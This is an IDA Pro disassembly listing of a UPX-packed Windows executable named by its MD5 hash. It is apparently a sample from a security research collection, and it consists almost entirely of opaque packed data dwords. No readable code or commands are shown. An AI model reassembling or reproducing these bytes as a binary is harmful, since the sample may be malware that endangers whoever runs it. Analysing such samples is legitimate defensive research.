;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A5DCBFFB82660FC15A9EF0C50632A249

; File Name   :	u:\work\a5dcbffb82660fc15a9ef0c50632a249_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	31420000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 31421000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 1400h dup(0)
UPX0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00006000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 31426000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 0E8D2FE1Fh, 87778778h, 0BE817BB1h, 26493A6Dh, 94F32D5Dh
		dd 796894F9h, 17958305h, 4B2E2B70h, 782E2F8Eh, 84107912h
		dd 6D876339h, 0A7A36950h, 0F37DC7CEh, 0DA643A0h, 58916A7Fh
		dd 0FDF5257Ah, 10448688h, 0C2A4A3E0h, 6628547Ch, 0F04568F4h
		dd 0B70D6F7Dh, 4D804F4Eh, 1275AF6Fh, 5FC5A7Eh, 64838A8Eh
		dd 284D7DFCh, 21177790h, 88102164h, 0E3D518C2h,	7B7A1553h
		dd 0C338F447h, 4C91C7A3h, 8780FBF8h, 0D843DF1h,	5893657Ch
		dd 15872EEAh, 0D95E317h, 5CE82B70h, 7060BE43h, 8468760Dh
		dd 0CB06A695h, 7B120451h, 0C7299320h, 2F786841h, 4BD96419h
		dd 0C8D583E3h, 28803D1Bh, 494A2B2Fh, 4B4A764Ch,	2E8C0E8Eh
		dd 2B800D2Eh, 8744004Bh, 0D2204E43h, 2BE7E47Dh,	0BCFBCD38h
		dd 87B84B74h, 27878027h, 0BBB12326h, 705C34F3h,	7C5C3CF3h
		dd 0B7FB2F60h, 77123887h, 537909F5h, 8787A381h,	68F22187h
		dd 7B8720F2h, 0B9A17AA9h, 9AF87C82h, 5C2C527Bh,	7A9BB860h
		dd 0DDF0AB72h, 0C38323F2h, 0F2792885h, 62B28660h, 0FB6EA95Ah
		dd 5B617BB8h, 87C2639Bh, 6E6488C3h, 6CF53E3Eh, 4882FB4Fh
		dd 0BB24C704h, 1794FB0Dh, 40C057C3h, 0C6215F21h, 5F23A34h
		dd 0DD8B729Ch, 5B97871Eh, 77DCDDA3h, 25F3B048h,	0A3FD6874h
		dd 0FB7B05DCh, 9D8762BBh, 0C67795A0h, 704DF605h, 0AE2F9CA9h
		dd 21B8FD21h, 1CF56B0Ch, 35CF8783h, 0B9536240h,	0E1BB7B21h
		dd 3CF2818Fh, 5B939C6Dh, 453B067h, 0B0B0763Ah, 39F27B93h
		dd 8785C698h, 3DF3FCA7h, 0DF32E74h, 78F22F68h, 340CB8FCh
		dd 542B19F3h, 1017877Ah, 0F26BA780h, 8FBEF3A0h,	7025F0A0h
		dd 7B6E7040h, 0CE7FF06Ah, 21871717h, 1983F83Fh,	7D730421h
		dd 0F47E0702h, 1996FB8Bh, 9F8E3972h, 2277817Eh,	0D303539h
		dd 0BA1C23C3h, 33C3CF73h, 1F785FF8h, 4B36BB25h,	0A376F3B1h
		dd 7C879915h, 696CCE77h, 0FB39BA7Bh, 0EA887B81h, 0F3F621E1h
		dd 0FDC66E96h, 0FE195ABAh, 0A0F88512h, 1454A810h, 7CA407C4h
		dd 28EED91Ch, 7F5DF11Ch, 0F881CE3h, 0BF2FF7FEh,	73D3A0FDh
		dd 841DFB78h, 0C3101078h, 5BB961C7h, 21217C9Ah,	0C5F180F3h
		dd 87FD67A8h, 9694A34Ch, 5C4AFC77h, 687CBFFBh, 0F72F5B76h
		dd 0F31E4E4Fh, 28219C42h, 0A796F677h, 0F8978387h, 0F23478DFh
		dd 0E0FDF07Fh, 0FBA0C65Fh, 0E5F11993h, 0E6F073ACh, 97C66F0Dh
		dd 0F50A831Eh, 313F709Eh, 44CF0612h, 703D9347h,	0CDF18815h
		dd 3CBC8EB4h, 0B34EA0A0h, 5EF8E87Eh, 9C2C2FD1h,	0B9940327h
		dd 0F2EF7B97h, 3E7EF06Eh, 0FA4B3A57h, 87C20685h, 3EF5E465h
		dd 0CE7A5979h, 0A7911B77h, 2865580h, 0D7E4064h,	723C120Eh
		dd 0B1FE438h, 61A49464h, 76EC537Fh, 14A1C8F4h, 394812A0h
		dd 0C675A01Eh, 4BA074C9h, 0D7860EEh, 0A1C54163h, 4F89B4E6h
		dd 0E479EE7Fh, 0FA0A921h, 55E077DDh, 35FB2102h,	0BA7D716Ch
		dd 88CBF4F3h, 35F31070h, 5275F988h, 3BFDB0C1h, 7890F2DCh
		dd 68B5D6E6h, 71157FD1h, 0E329603Ch, 12A314D5h,	6F7FE11Bh
		dd 4BE8E87Ch, 0A1C2C7A3h, 0CC540F5h, 4EE644Ah, 0F6944D0Eh
		dd 37FE99C8h, 287C4DCCh, 0C736B891h, 25C10410h,	0BCBF61A1h
		dd 93866964h, 8F0D6B60h, 1055E6B8h, 2B746108h, 38341078h
		dd 0FF72AE0Ch, 77882BEFh, 0F5A32B50h, 6294D3AFh, 288480D3h
		dd 0FDDE58FCh, 2B2E56EBh, 74892E83h, 2ABA55A3h,	2E667C9Ch
		dd 65C75446h, 0CE41F30Fh, 0D5AE4BAEh, 0E06533A3h, 17122FCAh
		dd 0C787AF4Dh, 0D1BA1859h, 7C7C054h, 444C6819h,	0FCF2470Ch
		dd 0FE38F8CEh, 7FF9CECCh, 478E8303h, 0BF73BB67h, 0F81C4D21h
		dd 98B9211Bh, 504DFD7Bh, 0D7A5727Ah, 0D11E0E89h, 126A0DFEh
		dd 0AB87A2EDh, 0F0859470h, 0DA37E514h, 8A7B9384h, 87CF86CEh
		dd 0AA4B1C2Dh, 1BEB98C1h, 0BAF9898Fh, 787E6330h, 0D5EC972Ah
		dd 86077B15h, 1BF00A6Eh, 24F4DF7Eh, 9098560Dh, 4CD02ECEh
		dd 2572F6Dh, 0B3CD2F2Fh, 0F4D69EC2h, 7D747027h,	133A9472h
		dd 0F5668F17h, 0A469083Bh, 937B5C5Ch, 4B15E157h, 63C04034h
		dd 38865CB8h, 0C31F1F38h, 6031A2ACh, 0F17C0E5Ch, 73466554h
		dd 0E74EE573h, 0AA26B848h, 4C12AEC3h, 76EA7083h, 7B103F41h
		dd 0B9E19A2h, 1B6458ADh, 0F5FF2645h, 7A66CDCCh,	60581374h
		dd 131DE97Ah, 61932796h, 60642F00h, 85F48C6Ch, 35775CFBh
		dd 7579F164h, 4774BF50h, 1E86969Bh, 48F19CC0h, 34FCD994h
		dd 0A8D5EBC4h, 5927AD90h, 0B0F076E3h, 7ACD567Dh, 8C052A73h
		dd 63692084h, 0C011DD07h, 6512D87Dh, 0CF249D2Eh, 69E7CE1Fh
		dd 2228EC3Dh, 0CC7B71E4h, 7ECC1610h, 5C3400BEh,	86B56A1Fh
		dd 27CE4E6Dh, 0CC752CF2h, 71F86EF0h, 0B7E17E39h, 501717BEh
		dd 18129604h, 3FE0642Dh, 8F4991DCh, 7046A6F2h, 4698A9A0h
		dd 0C40BC5B4h, 6687348Bh, 711259F5h, 97199710h,	2149FE76h
		dd 58333DFCh, 95C2B247h, 2F627C07h, 3DF098A8h, 39836883h
		dd 1EEA5867h, 98A88621h, 822F717Ch, 9E1F3182h, 5110032Ah
		dd 0A0479976h, 10AA1A98h, 12A3CB17h, 2BA45C68h,	1E3CF973h
		dd 1EFD75BFh, 1027A50Bh, 189CD1C5h, 1773611Eh, 0A42F0DD8h
		dd 0F184E05Eh, 1C49980Dh, 5E6F50A1h, 4F7B9256h,	0BBFF38ECh
		dd 0DFB0C7CCh, 4310A098h, 2D99E3FBh, 3DF83B04h,	0ED60AB80h
		dd 7FFED617h, 10874B35h, 9E657E38h, 3E3195E8h, 0D0B8E014h
		dd 6385636h, 1C3E744Bh,	7A61E3A6h, 7048C001h, 0F925883Eh
		dd 5FF4779Eh, 495E19F8h, 79BDFD77h, 44C5A1D6h, 7FA870A7h
		dd 88C44478h, 0B4C82EE8h, 7469700Eh, 0B38C3A27h, 248F4459h
		dd 0CB696789h, 0FA9C9474h, 726B7A33h, 0D8800016h, 0D94649BDh
		dd 0F15D33C6h, 0A33BD2FDh, 0D68808D8h, 0EADA7C05h, 36B87744h
		dd 7A039064h, 0FC7A8A12h, 3F840563h, 887A3261h,	0D84B9C7Ah
		dd 7A6E3010h, 0AACF4DAFh, 0DF45057Bh, 0EE71079h, 4E9EB49Eh
		dd 4232581Ch, 6322CFB4h, 0A4FFCF4Ch, 120EFC98h,	0EE8C5208h
		dd 9EB09BF4h, 26B018F8h, 2EF1C72h, 5F46635Dh, 0DA5078FCh
		dd 4E337847h, 44A1C113h, 0E0C1CA14h, 9C0FC59Ah,	0A4791F2Ch
		dd 49062877h, 0BF0FBB9Ch, 0D4104375h, 0AB50B875h, 0C940B6A4h
		dd 9D1770B1h, 0A374027Ch, 0AA303D5Ah, 0A555BD80h, 0AE635957h
		dd 3856A364h, 7E086AA6h, 34E84194h, 38C4803Ch, 0BA09E8AEh
		dd 63A6283Ch, 21436668h, 0ECCF4B17h, 0F959EF75h, 1F91D481h
		dd 90048693h, 6E5CDDF8h, 105D7E78h, 5DE5642Ah, 648A237Fh
		dd 0EE8C6A0Eh, 0F1E591BBh, 0EC72971Dh, 3B00412h, 1CC99BBBh
		dd 0B1C63174h, 0E165A103h, 0E8992C9Ch, 0F4E7915Ch, 0A4B4BB31h
		dd 0B7005C56h, 54FA3095h, 801C7D54h, 1E8C6D74h,	4B61D87Ah
		dd 7008025Bh, 0F7F1260Ch, 8CBEA576h, 6429B427h,	0F8CB97E4h
		dd 75C9CD9h, 7DDC4DD0h,	0CDA80063h, 2F6AFA80h, 220C2F4Fh
		dd 72B38149h, 0C80766Ch, 71D81033h, 0B250CF2Bh,	55450CB6h
		dd 1F95FDB1h, 0D8395811h, 77842D87h, 4DC2C190h,	289CE6AFh
		dd 76EE50D4h, 23487A88h, 2D3FC735h, 0F4787180h,	106DFB9Ch
		dd 8C0D2043h, 60FF963Ah, 0FD6B59BDh, 0D17228F3h, 0C78F07CEh
		dd 4439F357h, 10B97B2Fh, 30F33554h, 2800F34Ch, 0D88C35F1h
		dd 967E52CCh, 6410A033h, 25EFA063h, 888D21D2h, 7010AA79h
		dd 0B9F5946Ah, 950CBBC9h, 6968AF75h, 8C1776FAh,	6C71CA12h
		dd 8035895Bh, 0E90E5429h, 606028FDh, 0F15210EFh, 142CD891h
		dd 0B23825C8h, 3EB8957Bh
		dd 934C131Bh, 0E2D36148h, 2116AD00h, 7B05882Dh,	0D31F3D9Eh
		dd 8846A533h, 2B284929h, 7198D466h, 8C4DBC8Fh, 6F82AEC5h
		dd 47921512h, 2D0FA889h, 0CBF4394h, 6393207Dh, 229D066Fh
		dd 5D4CF4C7h, 7D847621h, 4E9F4C27h, 0C707F93h, 99842097h
		dd 272A66FEh, 18572929h, 0CA114977h, 24E9D93Ch,	0C2C05D75h
		dd 0A558A33Ah, 0CA6BC9D7h, 694BD694h, 55217793h, 0CE1281BAh
		dd 0E195BCC9h, 74F844C4h, 6C28D028h, 55F0CAEh, 25B85428h
		dd 3C218461h, 3B0458C2h, 5C04F32Fh, 0DDBDFB6Ch,	669AA22h
		dd 1C62FF6Fh, 0F847878Dh, 6CF019BAh, 8F433E66h,	5CF89104h
		dd 0BEF47843h, 2CADAEA3h, 27563CF3h, 2E2FD422h,	486065A3h
		dd 57591E0Ch, 0F0EEA40Bh, 28885695h, 782E2861h,	7BBBD4D2h
		dd 0ED0F994Ch, 318C35BCh, 0F71316F4h, 88748210h, 0B170BF87h
		dd 4CE311EEh, 5652B44Ch, 0E1D50B34h, 72720D95h,	6258C428h
		dd 466E7960h, 7FBE2CD9h, 794307C0h, 0D589B60Ch,	0F3743805h
		dd 29707978h, 275C3CF5h, 0E3194C59h, 0AB6948BDh, 0C5C217Bh
		dd 7F803690h, 7FC3B46Dh, 1E57B058h, 4B4BBF83h, 0B980B09Ch
		dd 73FD689Fh, 3E01C8ACh, 0F37A78CEh, 784B6A25h,	8B085E3Fh
		dd 79E5BA79h, 2BBC92B1h, 0DB699BBEh, 8ACD034Dh,	0BB5D284Dh
		dd 5ECEE5FBh, 0D59F30F8h, 381E14CDh, 39886FE6h,	0C3104DEDh
		dd 0E0B69B49h, 0CF141045h, 3F37883Ch, 61C91814h, 0DD352C86h
		dd 54BDAB6Ch, 42CA2A4h,	84758678h, 4BD94CC2h, 530178C1h
		dd 0AB943BFh, 0AB9F37Ah, 9993CF17h, 90D95153h, 5BBF7B60h
		dd 865DDBD4h, 5B45B4EEh, 12690Ah, 0A2493880h, 0BC934450h
		dd 0F28996Bh, 148E375Eh, 0EC66AC69h, 0B544106Dh, 7396351Ah
		dd 0EF40107Bh, 0E51E4644h, 2C2B42CDh, 0A8FB2A2Bh, 0F43F98C9h
		dd 7CBAE05Ch, 6B15FA5Bh, 761C48E0h, 90A8C98Fh, 70BB6EACh
		dd 0C3963651h, 0F12F3B0Fh, 0F810107Eh, 5FFC65F1h, 25370660h
		dd 6C9415DAh, 788AACB8h, 0B94C2BE9h, 7A031314h,	0F8934279h
		dd 0E2AC109Eh, 6235850Fh, 0CB324E00h, 0A4B5570Ch, 1F0226DBh
		dd 0DB1D740Dh, 2B84DC86h, 62A1AA29h, 42FE2E6Bh,	0A44610A0h
		dd 5E2EA0F4h, 20612681h, 80A2126Ah, 267D68BAh, 97332EB8h
		dd 741EEFDCh, 9425F190h, 0A7877D75h, 5D958F18h,	427C6787h
		dd 3B84DBBBh, 0F2679F0Ch, 27B1FCB4h, 0C9031C5h,	921328A7h
		dd 1C38273Ah, 0DD61FDC2h, 3C741C1Dh, 5391D7DBh,	6C802703h
		dd 0E63067A0h, 82B6D594h, 6D580610h, 9A931A36h,	24B9B72Bh
		dd 3D27993Ah, 0D479E83Bh, 81E6503h, 0C84B44D6h,	0AB7F69AEh
		dd 7A46A33Bh, 0F842AE9Eh, 0E3757281h, 0D3C810CCh, 0C981BDBh
		dd 0FA5379A0h, 8CDB0304h, 0FE71A183h, 0CF459CB5h, 51983D2Ah
		dd 96B58E08h, 617C1C75h, 101B639Ah, 946B5BCAh, 244C37CDh
		dd 6BFE936Bh, 0C818E1D6h, 4D118362h, 41083C80h,	0E85D5438h
		dd 0AAE8F7EBh, 8B5B01Ch, 0E83DF46Bh, 0EC7E9724h, 0A41642Ch
		dd 0E434E09Ch, 0DC44D83Ch, 3F5BE94Ch, 0D454D0F6h, 4164C85Ch
		dd 0CCB09C0Ah, 0C46CC060h, 0E774B868h, 0BC64F63Fh, 0B47CB070h
		dd 80A83584h, 5BE9B09Ch, 88A08CACh, 0FDD694A4h,	90980A41h
		dd 7CFF9C9Ch, 78F31EC5h, 0DB14AB4Fh, 0C100A2A6h, 7A84C815h
		dd 0B71FBF4h, 94F44C6Ah, 39247B0Eh, 32F5E8FDh, 93748721h
		dd 35F56290h, 0CC759C40h, 0B1416224h, 0FF738804h, 0AC10410Ch
		dd 4FD0D335h, 0CE4A1A0Fh, 0BC7E35B4h, 0FC467515h, 0E2C431FCh
		dd 362F7C1Dh, 52A3430Ah, 724C6D59h, 5F166EDAh, 396F4642h
		dd 27E2503Ah, 559986Ch,	8060CC90h, 93E46BF0h, 0BAFA3A9Bh
		dd 226DE1EBh, 6318EDD7h, 1B2D3F7Bh, 0A607DCF8h,	0D56988D2h
		dd 733DF229h, 4A8712E6h, 0F8B995A3h, 0B4422ABBh, 0A4254049h
		dd 89708642h, 7325F05Dh, 77857FAAh, 22744DCFh, 80748721h
		dd 8FE177EBh, 0F6AE7B86h, 83F8BB86h, 56AD0A87h,	26C5BE23h
		dd 270E1AC2h, 0E06BCA1Ch, 104B177Ch, 2EA27120h,	0F9703740h
		dd 0BF757C72h, 71A321C8h, 0F80DF773h, 18E33155h, 2781770Dh
		dd 66F1545Dh, 45E5D59Ch, 7B87FC4Ah, 83F93BAFh, 0CD75C609h
		dd 27E7EE5Bh, 13DE25FFh, 337436Eh, 15DA220Bh, 9E2F4461h
		dd 0E10B7857h, 85C600CFh, 8E86877Ch, 19F00744h,	4B841423h
		dd 70F38D77h, 0D2A48B43h, 0A0CBCA0Eh, 2FD8DB46h, 0E42F57E6h
		dd 7A5DE6A1h, 6B2180AEh, 5D165DBBh, 0CBC38776h,	0BB8A960Dh
		dd 1099D4F6h, 0ABDE5F68h, 0EEE6ABC6h, 0FCB9B9F8h, 28D15508h
		dd 682AD51Ah, 0F7BA3D36h, 0C2184A8Dh, 8AD22412h, 9881A4A7h
		dd 73844234h, 1C10C87Bh, 7B0AA536h, 6968437Eh, 0AF3AC25Fh
		dd 14986A8Fh, 73F8BE71h, 0C85341A7h, 2D1773C8h,	0FC2FEB2Eh
		dd 0F8B400A0h, 296B9EA0h, 101E6435h, 856774DDh,	0A16C1A8Ch
		dd 2BF17E96h, 7A738E19h, 70402812h, 0D82385D7h,	0AA7D5425h
		dd 600C78EEh, 0B7F6971h, 68793FF5h, 786C617Dh, 71A5FD6Bh
		dd 6F7EA037h, 3AC5D276h, 0C88F9A3h, 0BFAD2B75h,	0C6696829h
		dd 41597999h, 42605C34h, 695FD95h, 0A00EA069h, 5E33DDFEh
		dd 976C3554h, 14615DEEh, 93DA7D0Fh, 0F30D758Ah,	1DC0C80Eh
		dd 1082A593h, 0B9634B47h, 0EEF918B0h, 0FA86D74h, 16D11A4Eh
		dd 0E86C7068h, 57FF33DBh, 2E60A129h, 0A0A02484h, 8E604FCAh
		dd 0C452E46h, 1B69B67Dh, 193952A4h, 0CF3354E4h,	685828ABh
		dd 217B7060h, 0D2731A84h, 0F32D7726h, 22B699BEh, 564BDA2Fh
		dd 2E2B542Eh, 0B1E860FCh, 5D5F782Dh, 22B6217Bh,	7C742A72h
		dd 0EA1AB758h, 50D72574h, 0F19ACF79h, 59A62BBBh, 0ECF61136h
		dd 6B8E8C40h, 2466444Ch, 8F01364Eh, 3BD5A67Ch, 50656C14h
		dd 1002DC55h, 0EAB9944Dh, 8CA02255h, 5A8C7168h,	0B75843A8h
		dd 96804E02h, 3F055A65h, 79660CF5h, 8D2E8403h, 307CB986h
		dd 0CD876466h, 0C1CB3D98h, 873D5758h, 702A6777h, 19BB2F18h
		dd 643E284Bh, 4CF1C50Eh, 0CF4BD80Ch, 2FAED144h,	75E9C9B0h
		dd 0E037D4CEh, 64F8AC7Eh, 0A09C0A41h, 9814A40Ch, 0E9309C18h
		dd 90F63F5Bh, 88589444h, 614CA968h, 0CF788CB4h,	1BC773FCh
		dd 1C049A19h, 0F30681C6h, 0D91C29DAh, 0CCBC4560h, 0B3A04E70h
		dd 766F0D0Ah, 0DE356531h, 5271E6E2h, 0C5DBFB46h, 0F23E710Dh
		dd 0F0983Ch, 0F43F8C12h, 0CC710CC8h, 12F0210Ch,	0F3CBF91Bh
		dd 0FCC4A621h, 2575AD9h, 98FB47B9h, 7DB8FB7Bh, 0FEC1B52Fh
		dd 852132F3h, 28E568B7h, 456A6016h, 6445AE7Fh, 765E961Eh
		dd 2890476Ch, 0E054973Ah, 5838DA19h, 3304B239h,	0AFBE4710h
		dd 0B421CB7Eh, 6339A1FEh, 0B7D95DABh, 0C0798C2Ch, 0EEF9987Fh
		dd 0E7F37738h, 46B9F06Fh, 3067BD6Fh, 7D856CBFh,	5D211548h
		dd 98CBC268h, 0C7286512h, 0FE6845A0h, 29840988h, 6D4F0C47h
		dd 4920427Eh, 18DFC372h, 0C685F27Eh, 8C2B2AA9h,	69EC445h
		dd 452BA0CBh, 7793C940h, 0D8B9B621h, 0CE4AC5CBh, 40A66310h
		dd 1D9A1DC8h, 0B010BA5Eh, 234F4337h, 0C33EA98Eh, 0EF6275C1h
		dd 39AE734Dh, 346A266Ah, 236BE88h, 0BE499632h, 0CE3943C3h
		dd 5485E8B4h, 0E8CE68CDh, 307F60CFh, 186D9374h,	5560F89Dh
		dd 0D76171B5h, 294AC266h, 3C4B7425h, 94234528h,	120510FBh
		dd 0B438696Bh, 8C521E9Fh, 507E8778h, 0D168807Dh, 8CE9E197h
		dd 29786388h, 0F58FA7E3h, 0A43F562h, 7391F96Ch,	0D5FD7C55h
		dd 79C985C6h, 53940B6Fh, 74BCF3B0h, 70F399F3h, 0CDCA4E92h
		dd 3B2BDB7Ah, 3D7D241Ch
		dd 204E4E7Dh, 0DA787831h, 897A547Ah, 0F74CC76Ch, 2A5C7A7Eh
		dd 0F849392Bh, 0CF078787h, 8D7979F7h, 169FBF5h,	9C52942Ah
		dd 319F8E42h, 0C69892E3h, 6A359D7h, 8782ED3Ch, 26628787h
		dd 0FDD84A19h, 0ECE71267h, 0FC41EC87h, 4DF75EDEh, 0DD2465B6h
		dd 2CA73B1h, 87480A1Dh,	4F678787h, 11021735h, 57191414h
		dd 5848564Ch, 15171B50h, 110C1908h, 431D141Ah, 87853558h
		dd 312B8323h, 6D4E583Dh, 16112F71h, 0B0F171Ch, 582C3658h
		dd 5149564Dh, 0AC73C345h, 78F69C4Ch, 0BC797CACh, 0B7458FCCh
		dd 0E8D8768Bh, 107C0CF8h, 448BB776h, 307120A7h,	48AC0C44h
		dd 1CA14FB7h, 685A583Dh, 95784832h, 80463B07h, 0E1B6B38h
		dd 0D0A560Eh, 0C5CE4E06h, 7F780FCDh, 0EF141C1Dh, 0B91E771Dh
		dd 8703078Ah, 191D0B1Dh, 76101B0Ah, 1A170A67h, 101B0017h
		dd 0A31F1619h, 0AAC1C307h, 740C1D67h, 1A561C0Ah, 19780211h
		dd 0FDA01B50h, 13109C15h, 0C741519h, 5C00557Eh,	0C1C315CBh
		dd 17147E78h, 134F1A76h, 0C68E853Fh, 7A0E5E15h,	0E0C5602h
		dd 170C6963h, 0FD165608h, 6FF455F8h, 5F0B7711h,	0F887734Bh
		dd 7700F515h, 140D1C19h, 331D550Ch, 6A30E11h, 4BF80ACBh
		dd 0BDE1617h, 1A560C36h, 0A772B805h, 1F11371Fh,	0F00784Ah
		dd 2307CB19h, 1A125483h, 0E378D51Ah, 191E1902h,	8030FFD0h
		dd 1D2556CEh, 19D7245Bh, 8E95801Ah, 1D1C1B87h, 11101F1Eh
		dd 15141312h, 0A09BD16h, 0F0E0D8Fh, 87BE0100h, 1D7628A7h
		dd 3E3D3C3Bh, 3231303Fh, 36353433h, 2C292837h, 8710BB87h
		dd 2F2E2D2Ch, 63222120h, 0C0C105Bh, 57574208h, 43E3885Dh
		dd 57730BC8h, 856EF1Dh,	3470810h, 76CE8306h, 0B5E7745h
		dd 1C7E161Bh, 1E16115Eh, 517F430Eh, 494505CFh, 0C6B5E41h
		dd 2093D863h, 188EC383h, 4F4A4945h, 424979D0h, 57484840h
		dd 0F887A71Dh, 78A794F5h, 4B25A790h, 96C11EB1h,	87A31787h
		dd 7D0DF579h, 7EF286F3h, 3E7FE144h, 3E48547Eh, 7FF0E14Ch
		dd 93959A3Fh, 904C578Fh, 6A29072h, 561F1DA7h, 0B1E1EB09h
		dd 0A7879779h, 0C5856A86h, 7F6E85E9h, 0D2100AB9h, 0D21E853Ah
		dd 6CC26885h, 62E0D164h, 8F23C987h, 89E08BB1h, 97AFE70h
		dd 27E868B8h, 21EA4FB3h, 77EB64EEh, 4200CB83h, 92F9C6Ch
		dd 9427205h, 0C683E53Dh, 89E58B95h, 8971F17Ch, 3869E47Ch
		dd 85F695CBh, 9B8B1F5Bh, 0A4646888h, 1821CA73h,	45F7B1E3h
		dd 795D978Eh, 0D97C6CA1h, 0E609B26Fh, 1910F553h, 0EE3E6FCBh
		dd 9A62D5E9h, 506965EEh, 951715E7h, 78B028CAh, 2FA46CE1h
		dd 366A5D2Dh, 0A794B8DCh, 6AE995A6h, 8F95E131h,	0BC6C782Ch
		dd 9B3B242h, 0FFCB6443h, 5C8785A5h, 0B762599Ch,	1EF7B5B5h
		dd 83CEF954h, 664714E7h, 0FBC0C883h, 256AB5BBh,	65B3B1D0h
		dd 17E5CA07h, 735CD55Dh, 0EEDE3022h, 0B186B3B8h, 34636C1Ch
		dd 8B93DF51h, 0A187C2E4h, 6E91CB8Fh, 95E8C4Ch, 8176848Dh
		dd 51976B43h, 1787133Eh, 274F8F0Eh, 943F1EA6h, 796ED8D0h
		dd 9587BDCFh, 85919491h, 971977C3h, 549984CFh, 848DB279h
		dd 848A2284h, 85C7879Dh, 8D848F93h, 0BFAED3D2h,	21D2814Ch
		dd 52525DCCh, 0EBD4B11Eh, 0C6CFF9E8h, 0E8871F88h, 0B1FB1BE5h
		dd 48EA09B5h, 294D61C7h, 72EDA16Ch, 8787E90Ah, 9529458h
		dd 0DDAA93B0h, 99F8AD6Ah, 17D22AE2h, 0E252F56Ch, 3E86A7B0h
		dd 0F36AC183h, 0BB3F32E2h, 0A3E3D3E6h, 9458DB61h, 87A5DA14h
		dd 0C58785C7h, 0A7E695FDh, 93F990DAh, 0B06A2D3Ch, 56EE67C5h
		dd 0A06A93F5h, 6A22E2FDh, 87E271E5h, 22B57371h,	0A8EE8068h
		dd 71E315Ah, 0FF6A8685h, 0C31716A3h, 0EDBA22D1h, 0FA6AFD7Ah
		dd 0B322E97Ch, 81C1B78Fh, 0FD07381Fh, 3A352B87h, 0B02B600Ah
		dd 71B78CC7h, 781A8687h, 0FB3B287Ah, 372F2C3Dh,	9B23952Ah
		dd 28583387h, 2A3F372Ah, 49583539h, 39346FB5h, 2A7A3536h
		dd 721AE893h, 0CF6D1ED3h, 0CF23CEEEh, 0C31F137Bh, 4B76080Dh
		dd 0CE671962h, 355F930Ch, 59204A5Bh, 564A4A4Ah,	1EAB2049h
		dd 5860AE52h, 22F34A44h, 0DC4BB0B1h, 94637F0Bh,	745AFDA3h
		dd 7C785B87h, 586C7269h, 0F5A2A67Dh, 11D8AC62h,	2B333478h
		dd 7CE9282Bh, 0EFCFF007h, 329870FAh, 95806F0Bh,	165C782Fh
		dd 17781C78h, 420B780Dh, 26A6B00Ch, 71794814h, 4D7841F4h
		dd 0A4B8145Bh, 7F5665EEh, 4AD3A278h, 70F1B758h,	432FA258h
		dd 0E734EBFBh, 3E8A787Bh, 0B9E8665Bh, 387F3F7Eh, 0A97E787Eh
		dd 683E9F87h, 0F26D6779h, 783098F0h, 0F93C7837h, 86638785h
		dd 8A021261h, 5064319Ch, 0C5D48D7h, 992B1F68h, 6B04FD44h
		dd 480DA724h, 0D6C57C78h, 7F24CEC1h, 247022C5h,	0A4E4F19h
		dd 7F5635AFh, 5640784Eh, 4363480Fh, 3115F1E3h, 903B9478h
		dd 811B4778h, 1C760178h, 7CA470DAh, 1587588Eh, 78876E38h
		dd 7678A6A6h, 79E76E78h, 71C75E7Ah, 50386A6Bh, 0B9697B61h
		dd 0F305BB3Eh, 0AB0CA114h, 0C39C5108h, 0E452E3D4h, 0A0655D13h
		dd 68E715CBh, 637C3076h, 2515B72Ch, 222C6BAFh, 5A211B5Eh
		dd 0FBB3BF24h, 3DC1874Ch, 787DFF1Dh, 30687B73h,	0BD8787C0h
		dd 76C068A6h, 50127D73h, 0C9744161h, 0D0E369A8h, 537B878h
		dd 0A1940799h, 25278D56h, 6493F2F0h, 90E769B1h,	30685344h
		dd 0CA560418h, 8C74A9EFh, 74D818DBh, 0ED9C44F8h, 74C974D8h
		dd 4A414386h, 0F074D878h, 78717838h, 0FC037B94h, 787F815Fh
		dd 37386CEDh, 0C7380804h, 7EB0DD94h, 6B3B7F78h,	0F087BA01h
		dd 786BFD00h, 91DE23D3h, 6080686Bh, 579C71B7h, 5B768687h
		dd 0AC2048B9h, 0FC70C638h, 5AB9CF0h, 68C13BAAh,	0C0798796h
		dd 14E1968h, 0D558748Ah, 0E7077F75h, 778A6D9Dh,	87960A0h
		dd 77E877FCh, 77FC5D01h, 357877EDh, 7A7E84E6h, 1477FC07h
		dd 0FCD2A677h, 0D0E278FFh, 71473B17h, 676BB0F4h, 28201611h
		dd 0B8DEA358h, 780A28B2h, 41793C3Eh, 44FC37B1h,	6A44134Ah
		dd 37A0D6Dh, 3944FC75h,	0EC64782Bh, 64D78779h, 0BE7E935Ah
		dd 0B5D2424h, 1B081124h, 0E387810Dh, 94F91E5Ch,	9C877F64h
		dd 3C1D2B78h, 1F0D1A1Dh, 824F0E11h, 1FFD4D60h, 121C39DFh
		dd 172C190Dh, 94E1CE9Ch, 6F161D13h, 6A17340Bh, 0C715080Dh
		dd 192EE7A5h, 391D0D14h, 5008376Fh, 0B5C1B17h, 0F5309220h
		dd 0E3B784Ch, 1D4B4719h, 9B492ADBh, 80153401h, 8D7D1563h
		dd 2C27691Dh, 2F01190Ah, 0EDAD55CDh, 493B6F4Dh,	2A2A6219h
		dd 1055C3E5h, 102C7D17h, 0B2E6C74h, 0DB23130Dh,	503920A3h
